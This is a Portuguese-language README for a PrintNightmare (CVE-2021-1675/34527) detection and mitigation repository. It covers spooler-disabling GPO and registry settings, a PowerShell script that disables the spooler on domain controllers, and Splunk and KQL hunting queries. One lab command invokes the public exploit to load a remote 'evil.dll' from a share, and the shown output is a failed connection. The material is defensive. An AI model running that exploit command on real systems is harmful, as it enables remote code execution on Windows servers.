
CVE-2021-1675 Informação de Detecção
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527
Este repositório contém uma amostra EVTX do ataque CVE-2021-1675 e CVE-2021-34527, bem como um arquivo de configuração mínimo do Sysmon que pode ser usado para gerar a telemetria relevante.
Observe que essas regras podem ser contornadas - aplique o patch conforme apropriado e desabilite o serviço de spooler de impressão em controladores de domínio.
Teste todas as correções recomendadas antes de implantar em produção, pois pode haver consequências não intencionais resultantes dessas alterações de endurecimento. Escrevemos uma postagem no blog explicando o conteúdo deste repositório e as informações encontradas. Aqui: https://labs.lares.com/detection-and-mitigation-printnightmare/
Graças a Benjamin Delpy, há um fluxograma atualizado sobre a exploração deste problema para determinar se seus sistemas são provavelmente vulneráveis.

Security Settings -> System Services -> Print Spooler -> Disable
HKLM\SYSTEM\CurrentControlSet\Services\Spooler\Start = 4Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections - > Disable
HKLM\Software\Policies\Microsoft\Windows NT\Printers\RegisterSpoolerRemoteRpcEndPoint = 2Printers -> Point and Print Restrictions -> Security Prompts -> When installing drivers for a new connection -> Show warning and elevation prompt
HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint = 0HKLM\SOFTWARE\Microsoft\Windows\CurrrentVersion\Policies\System\EnableLUA = 1O patch lançado pela Microsoft em junho de 2021 corrige o CVE-2021-1675, mas infelizmente não corrige o problema conhecido como PrintNightmare (CVE-2021-34527). Portanto, uma correção alternativa pode ser aplicada desabilitando o serviço de spooler de impressão. Veja como fazer isso tanto no GPO quanto no PowerShell. Foi confirmado que o GPO corrige tanto a função MS-RPRN RpcAddPrinterDriverEx quanto a função Win32 AddPrinterDriverEx que o SharpPrintNightmare utiliza.
O seguinte GPO pode ser definido para negar conexões de clientes ao spooler, o que é uma solução alternativa potencial quando desabilitar completamente o serviço de spooler pode não ser uma opção. Isso foi testado em controladores de domínio e endpoints (W7/W10) em um ambiente de laboratório e os usuários ainda podem adicionar/remover impressoras e imprimir, no entanto, impede a exploração. Nota: Também se entende que este GPO também corrige CVE-2021-34527 conforme observado na página de vulnerabilidade da Microsoft.
Computer Configuration -> Administrative Templates -> Printers -> Allow Print Spooler to accept client connections
defina isso como Desabilitado:

Em seguida, reinicie o serviço de spooler no host afetado. Se tudo correr bem, a exploração será negada:
./CVE-2021-1675.py lares.labs/[email protected] '\\certer.lares.labs\share\evil.dll' 1 ⨯
Password:
[*] Try 1...
[*] Connecting to ncacn_np:192.168.1.157[\PIPE\spoolss]
[-] Connection Failed
Outra correção/solução alternativa é remover os usuários autenticados de Pre-Windows 2000 Compatible Access conforme descoberto por Dirk-jan.

Garanta que os grupos "Usuários Autenticados" não sejam membros do grupo "Acesso Compatível com Pré-Windows 2000". (Por padrão, esses grupos não estão incluídos nas versões atuais do Windows.) conforme mostrado na captura de tela abaixo, não deve haver membros:

Se tiver dúvidas sobre como fazer isso, as seguintes etapas podem ser seguidas:
Adaptado do script do 0gtweet para usar ADDomainController para obter todos os DCs do domínio
# the script STOP and DISABLES Print Spooler service (aka #PrintNightmare) on each server from the list below IF ONLY DEFAULT PRINTERS EXIST.
# revert if you need: go to services.msc, find the "print spooler" service, change startup type to "automatic" and start the service.
# Source: https://github.com/gtworek/PSBits/blob/master/Misc/StopAndDisableDefaultSpoolers.ps1
#
# Requirements RSAT
# Get-Module -Name ActiveDirectory
# Import-Module -Name ActiveDirectory
$computers = Get-ADDomainController -filter * | %{ $_.name }
foreach ($computer in $computers)
{
Write-Host "Processing $computer ..."
$service = Get-Service -ComputerName $computer -Name Spooler -ErrorAction SilentlyContinue
if (!$service)
{
Write-Host "Cannot connect to Spooler Service on $computer. Skipping." -ForegroundColor Yellow
continue
}
if ($service.Status -ne "Running")
{
Write-Host ("Service status is: """ + $service.Status + """. Skipping.") -ForegroundColor Yellow
continue
}
$printers = (Get-WmiObject -class Win32_printer -ComputerName $computer)
if (!$printers)
{
Write-Host "Cannot enumerate printers. Skipping." -ForegroundColor Yellow
continue
}
$disableSpooler = $true
foreach ($DriverName in ($printers.DriverName))
{
if (($DriverName -notmatch 'Microsoft XPS Document Writer') -and ($DriverName -notmatch 'Microsoft Print To PDF'))
{
Write-Host " Printer found: $DriverName" -ForegroundColor Green
$disableSpooler = $false
}
}
if ($disableSpooler)
{
Write-Host "Only default printers found. Stopping and disabling spooler..." -ForegroundColor DarkCyan
(Get-Service -ComputerName $computer -Name Spooler) | Stop-Service -Verbose
Set-Service -ComputerName $computer -Name Spooler -StartupType Disabled -Verbose
}
else
{
Write-Host "Non-default printers found. Skipping." -ForegroundColor Green
}
}
O arquivo de configuração do Sysmon fornecido CVE-2021-1675.xml pode ser instalado com o Sysmon Config Pusher: https://github.com/LaresLLC/SysmonConfigPusher
index=sysmon EventCode=7 Image="C:\\Windows\\System32\\spoolsv.exe" NOT (Signature="Microsoft Windows" SignatureStatus=Valid)
| stats values(ImageLoaded),values(TargetObject),values(Details),values(TargetFilename)
Uma maneira genérica de caçar exploração do Print Spooler é procurar por erros gerados pelo spooler de impressão devido ao carregamento da DLL de payload. Isso pode ser feito procurando pela criação de WerFault.exe por spoolsv.exe ou pela geração do ID de Evento 7031 mostrando terminação inesperada do serviço de spooler de impressão.
((index=sysmon EventCode=1
ParentImage="C:\\Windows\\System32\\spoolsv.exe" Image="C:\\Windows\\System32\\WerFault.exe")
OR (index=windows Channel=System EventCode=7031
Message="The Print Spooler service terminated unexpectedly"))
Após vários testes de exploração da implementação do cube0x0, um artefato adicional foi encontrado: ID de Evento 5145 com Share Name: \\*\IPC$ e Relative Target Name: spoolss. As vantagens dessa abordagem é que você pode ver o IP de origem (Source Address) e a conta (Security ID ou Account Name) que foram usados para realizar o ataque. Pode haver falsos positivos de servidores de impressão reais, mas eles podem ser filtrados por hostname e Access Mask. Pode haver outros falsos positivos que podem ser filtrados pela combinação de hostname-username-access mask.
index=windows_security EventCode=5145 Share_Name="\\\\*\\IPC$" Relative_Target_Name=spoolss
let serverlist=DeviceInfo
| where DeviceType != "Workstation"
| distinct DeviceId;
let suspiciousdrivers=DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers"
| distinct SHA1
| invoke FileProfile(SHA1, 1000)
| where GlobalPrevalence < 50 and IsRootSignerMicrosoft != 1 and SignatureState != "SignedValid";
suspiciousdrivers
| join kind=inner (DeviceImageLoadEvents
| where DeviceId in (serverlist)
| where FolderPath startswith @"c:\windows\system32\spool\drivers") on SHA1
| where InitiatingProcessFileName != "ccmexec.exe"
Source: https://twitter.com/olafhartong/status/1410229699993874442




Source: https://github.com/mrezqi/CVE-2021-1675_CarbonBlack_HuntingQuery/blob/main/README.md
Posts no Twitter referenciando ataques e consultas de caça
Observações de Controlador de Domínio versus Não Controlador de Domínio via Benjamin Delpy:
Fluxograma muito útil via Stan Hegt do Outflank
Nova Atribuição CVE da Microsoft:
Diário ICS do SANS: